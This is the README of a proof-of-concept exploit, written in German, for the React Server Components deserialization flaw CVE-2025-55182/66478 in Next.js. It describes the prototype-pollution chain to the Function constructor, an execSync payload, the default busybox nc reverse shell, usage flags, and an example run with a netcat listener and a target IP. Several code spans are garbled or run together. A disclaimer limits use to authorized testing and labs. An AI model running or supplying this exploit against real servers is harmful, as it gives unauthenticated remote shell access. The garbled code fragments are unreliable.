
Proof-of-Concept-Exploit für CVE-2025-55182/66478, eine Deserialisierungs-RCE in React Server Components, die über eine manipulierte Multipart-Anfrage eine Reverse Shell ausliefert.
Proof-of-Concept-Exploit für CVE-2025-55182 — öffentlich auch als
„React2Shell“ bekannt — eine serverseitige Prototype-Pollution-Schwachstelle
in der Deserialisierung von Server Actions in React Server Components
(react-server-dom-webpack / -parcel / -turbopack), die Next.js
unter der ID CVE-2025-66478 verfolgte (von der NVD als Duplikat
abgelehnt, aber dennoch die häufig verwendete Kennung, wenn über die
Auswirkungen des Bugs speziell auf Next.js diskutiert wird).
Eine einziger manipulierte Multipart-HTTP-Anfrage pollutes Object.prototype und
wandert die Prototyp-Kette entlang, um den Function-Konstruktor zu erreichen,
wodurch ein nicht authentifizierter Angreifer beliebigen Node.js-Code im
Serverprozess ausführen kann — CVSS 10/10.
Der RSC-Action-Reply-Deserialisierer () löst vom Client gesendete Objektpfade auf (z. B. ), ohne zu validieren, dass der Zielschlüssel kein reservierter/gefährlicher wie ist. Das Setzen von auf ein einfaches Objekt pollutes selbst, sodass jedes danach erstellte Objekt die vom Angreifer kontrollierte Eigenschaft erbt.
requireModule"$1:__proto__:then"__proto____proto__Object.prototypeExploit-Kette.
then → "$1:__proto__:then" — in die Prototyp-Kette greifen._response._formData.get → "$1:constructor:constructor" — von der
polluten Prototyp-Kette zum Function-Konstruktor wandern._response._prefix — vom Angreifer kontrollierter String, der in Code
eingefügt wird, der ausgeführt wird, wenn der Server versucht, das
fabrizierte „Thenable“ (ein gefälschtes Promise-ähnliches Objekt)
aufzulösen. Dieses PoC setzt ihn auf
process.mainModule.require('child_process').execSync('<cmd>').0, 1) in einem
POST an die App-Root mit einem Next-Action-Header übermittelt,
was die Anfrage direkt in den verwundbaren Server-Actions-Handler leitet.Betroffene Versionen (laut Datadog-Bericht):
| Bibliothek | Verwundbar | Gepatcht |
|---|---|---|
react-server-dom-parcel | 19.0 – 19.2.0 | 19.0.1, 19.1.2, 19.2.1 |
react-server-dom-webpack | 19.0 – 19.2.0 | 19.0.1, 19.1.2, 19.2.1 |
react-server-dom-turbopack | 19.0 – 19.2.0 | 19.0.1, 19.1.2, 19.2.1 |
Next.js ist auf 15.x, 16.x und 14.3.0-canary.77+ betroffen, wenn der App Router verwendet wird. Gepatcht in 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7 und 16.0.7.
Nur für autorisierte Sicherheitstests und Bildungszwecke (z. B. CTF/HTB- Labore, eigene Infrastruktur oder Engagements mit schriftlicher Genehmigung). Führen Sie dies nicht gegen Systeme aus, die Ihnen nicht gehören oder für die Sie keine ausdrückliche Erlaubnis zum Testen haben.
curlbashnc -lvnp <port>), sofern Sie
keinen eigenen Befehl über -c angebenbusybox nc ausführen (oder passen Sie -c an das jeweilige
Shell-Dienstprogramm an, das auf dem Ziel verfügbar ist), damit der
Standard-Reverse-Shell-Befehl funktioniertchmod +x exploit.sh
./exploit.sh -t <ziel> -L <lport> [optionen]
| Flag | Erforderlich | Beschreibung |
|---|---|---|
-t, --target | ja | Ziel-Host/IP, auf dem die verwundbare Next.js-App läuft |
-L, --lport | ja* | Lokaler Port, an den Ihr Listener gebunden ist |
-p, --port | nein | Ziel-Port (Standard: 3000) |
-l, --lhost | nein | Ihre IP für den Callback (Standard: automatisch erkannt) |
-i, --iface | nein | Schnittstelle zur automatischen Erkennung von --lhost |
-c, --command | nein | Benutzerdefinierter Befehl, der auf dem Ziel ausgeführt wird (überschreibt die Standard-Reverse-Shell) |
--timeout | nein | curl-Request-Timeout in Sekunden (Standard: 3) |
-v, --verbose | nein | Request-/Response-Details ausgeben |
-h, --help | nein | Hilfe anzeigen |
* nicht erforderlich, wenn stattdessen -c/--command angegeben wird.
# 1) Listener starten
rlwrap nc -lvnp 9090
# 2) Exploit auslösen
./exploit.sh -t 10.129.245.214 -L 9090